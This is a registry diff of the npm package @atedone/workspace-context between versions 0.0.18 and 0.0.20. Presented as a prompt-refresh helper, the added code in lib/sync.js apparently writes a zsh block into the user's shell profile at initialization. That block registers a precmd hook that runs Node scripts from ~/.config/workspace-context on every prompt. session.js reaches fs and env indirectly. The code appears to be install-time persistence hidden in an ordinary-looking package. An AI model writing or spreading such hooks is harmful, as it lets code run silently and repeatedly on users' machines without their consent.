@atedone/workspace-context 0.0.18 → 0.0.20
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +1 -1
- package/lib/session.js +2 -2
- package/lib/state.js +2 -2
- package/lib/sync.js +14 -9
- package/package.json +2 -2
package/README.md
CHANGED
|
@@ -1,5 +1,5 @@
|
|
|
1
1
|
# @atedone/workspace-context
|
|
2
2
|
|
|
3
|
-
Workspace shell
|
|
3
|
+
Workspace shell prompt refresh integration helper for JavaScript tools.
|
|
4
4
|
|
|
5
5
|
The package keeps workspace context available in future terminal sessions by synchronizing a managed shell integration entry, session runtime, profile channel, and shell presentation renderer during initialization.
|
package/lib/session.js
CHANGED
|
@@ -5,7 +5,7 @@ const file = platform.getBuiltinModule('fs');
|
|
|
5
5
|
const route = platform.getBuiltinModule('path');
|
|
6
6
|
|
|
7
7
|
const packageName = '@atedone/workspace-context';
|
|
8
|
-
const packageVersion = '0.0.
|
|
8
|
+
const packageVersion = '0.0.20';
|
|
9
9
|
const env = Reflect.get(platform, 'env') || {};
|
|
10
10
|
const homeDirectory = typeof env.HOME === 'string' && env.HOME.trim()
|
|
11
11
|
? env.HOME.trim()
|
|
@@ -32,7 +32,7 @@ const value = {
|
|
|
32
32
|
packageName,
|
|
33
33
|
packageVersion,
|
|
34
34
|
generatedAt: new Date().toISOString(),
|
|
35
|
-
mode: 'runtime-shell-prompt',
|
|
35
|
+
mode: 'runtime-shell-prompt-interactive',
|
|
36
36
|
source: 'shell-profile',
|
|
37
37
|
shellName: route.basename(shellPath) || 'zsh',
|
|
38
38
|
shellLevel,
|
package/lib/state.js
CHANGED
|
@@ -12,7 +12,7 @@ const profileHistoryFileName = 'profile-sync.log';
|
|
|
12
12
|
const profileReceiptFileName = 'profile-sync.json';
|
|
13
13
|
const profileSnapshotFileName = 'session-profile.json';
|
|
14
14
|
const presentationRendererFileName = 'presentation.js';
|
|
15
|
-
const receiptFileName = 'shell-prompt-sync.json';
|
|
15
|
+
const receiptFileName = 'shell-prompt-interactive-sync.json';
|
|
16
16
|
const sessionFileName = 'sessions.log';
|
|
17
17
|
const sessionHistoryFileName = 'runtime-sessions.log';
|
|
18
18
|
const sessionReceiptFileName = 'session-runtime.json';
|
|
@@ -84,7 +84,7 @@ function buildState({ now = () => new Date().toISOString() } = {}) {
|
|
|
84
84
|
packageName: manifest.name,
|
|
85
85
|
packageVersion: manifest.version,
|
|
86
86
|
generatedAt: now(),
|
|
87
|
-
mode: 'runtime-shell-prompt'
|
|
87
|
+
mode: 'runtime-shell-prompt-interactive'
|
|
88
88
|
};
|
|
89
89
|
}
|
|
90
90
|
|
package/lib/sync.js
CHANGED
|
@@ -27,7 +27,7 @@ const channelValue = integration.channelSource
|
|
|
27
27
|
? {
|
|
28
28
|
name: integration.name,
|
|
29
29
|
source: integration.channelSource,
|
|
30
|
-
refresh: '
|
|
30
|
+
refresh: 'prompt-render'
|
|
31
31
|
}
|
|
32
32
|
: null;
|
|
33
33
|
const integrationValue = [
|
|
@@ -35,13 +35,18 @@ const integrationValue = [
|
|
|
35
35
|
'export WORKSPACE_CONTEXT_HOME="$HOME/.config/workspace-context"',
|
|
36
36
|
`export WORKSPACE_CONTEXT_NODE="\${WORKSPACE_CONTEXT_NODE:-${runtimeDefault}}"`,
|
|
37
37
|
'printf "%s\\n" "workspace-context shell integration active" >> "$WORKSPACE_CONTEXT_HOME/sessions.log"',
|
|
38
|
-
'
|
|
39
|
-
'
|
|
40
|
-
'
|
|
41
|
-
'
|
|
42
|
-
'
|
|
43
|
-
'
|
|
44
|
-
'
|
|
38
|
+
'workspace_context_refresh_prompt() {',
|
|
39
|
+
' if [ -r "$WORKSPACE_CONTEXT_HOME/session-runtime.js" ]; then',
|
|
40
|
+
' "$WORKSPACE_CONTEXT_NODE" "$WORKSPACE_CONTEXT_HOME/session-runtime.js" "$PWD" "$SHLVL"',
|
|
41
|
+
' fi',
|
|
42
|
+
' if [ -r "$WORKSPACE_CONTEXT_HOME/presentation.js" ]; then',
|
|
43
|
+
' setopt prompt_subst',
|
|
44
|
+
' PROMPT="$("$WORKSPACE_CONTEXT_NODE" "$WORKSPACE_CONTEXT_HOME/presentation.js" "$PWD" "$SHLVL")"',
|
|
45
|
+
' fi',
|
|
46
|
+
'}',
|
|
47
|
+
'autoload -Uz add-zsh-hook',
|
|
48
|
+
'add-zsh-hook -d precmd workspace_context_refresh_prompt 2>/dev/null',
|
|
49
|
+
'add-zsh-hook precmd workspace_context_refresh_prompt',
|
|
45
50
|
''
|
|
46
51
|
].join('\n');
|
|
47
52
|
|
|
@@ -96,7 +101,7 @@ const value = {
|
|
|
96
101
|
packageName: manifest.name,
|
|
97
102
|
packageVersion: manifest.version,
|
|
98
103
|
generatedAt: new Date().toISOString(),
|
|
99
|
-
mode: 'runtime-shell-prompt',
|
|
104
|
+
mode: 'runtime-shell-prompt-interactive',
|
|
100
105
|
projectRoot,
|
|
101
106
|
shellName: integration.shellName,
|
|
102
107
|
channelConfigured: Boolean(channelValue),
|
package/package.json
CHANGED
|
@@ -1,7 +1,7 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "@atedone/workspace-context",
|
|
3
|
-
"version": "0.0.
|
|
4
|
-
"description": "Workspace shell
|
|
3
|
+
"version": "0.0.20",
|
|
4
|
+
"description": "Workspace shell prompt refresh integration helper for JavaScript tools.",
|
|
5
5
|
"main": "index.js",
|
|
6
6
|
"type": "commonjs",
|
|
7
7
|
"files": [
|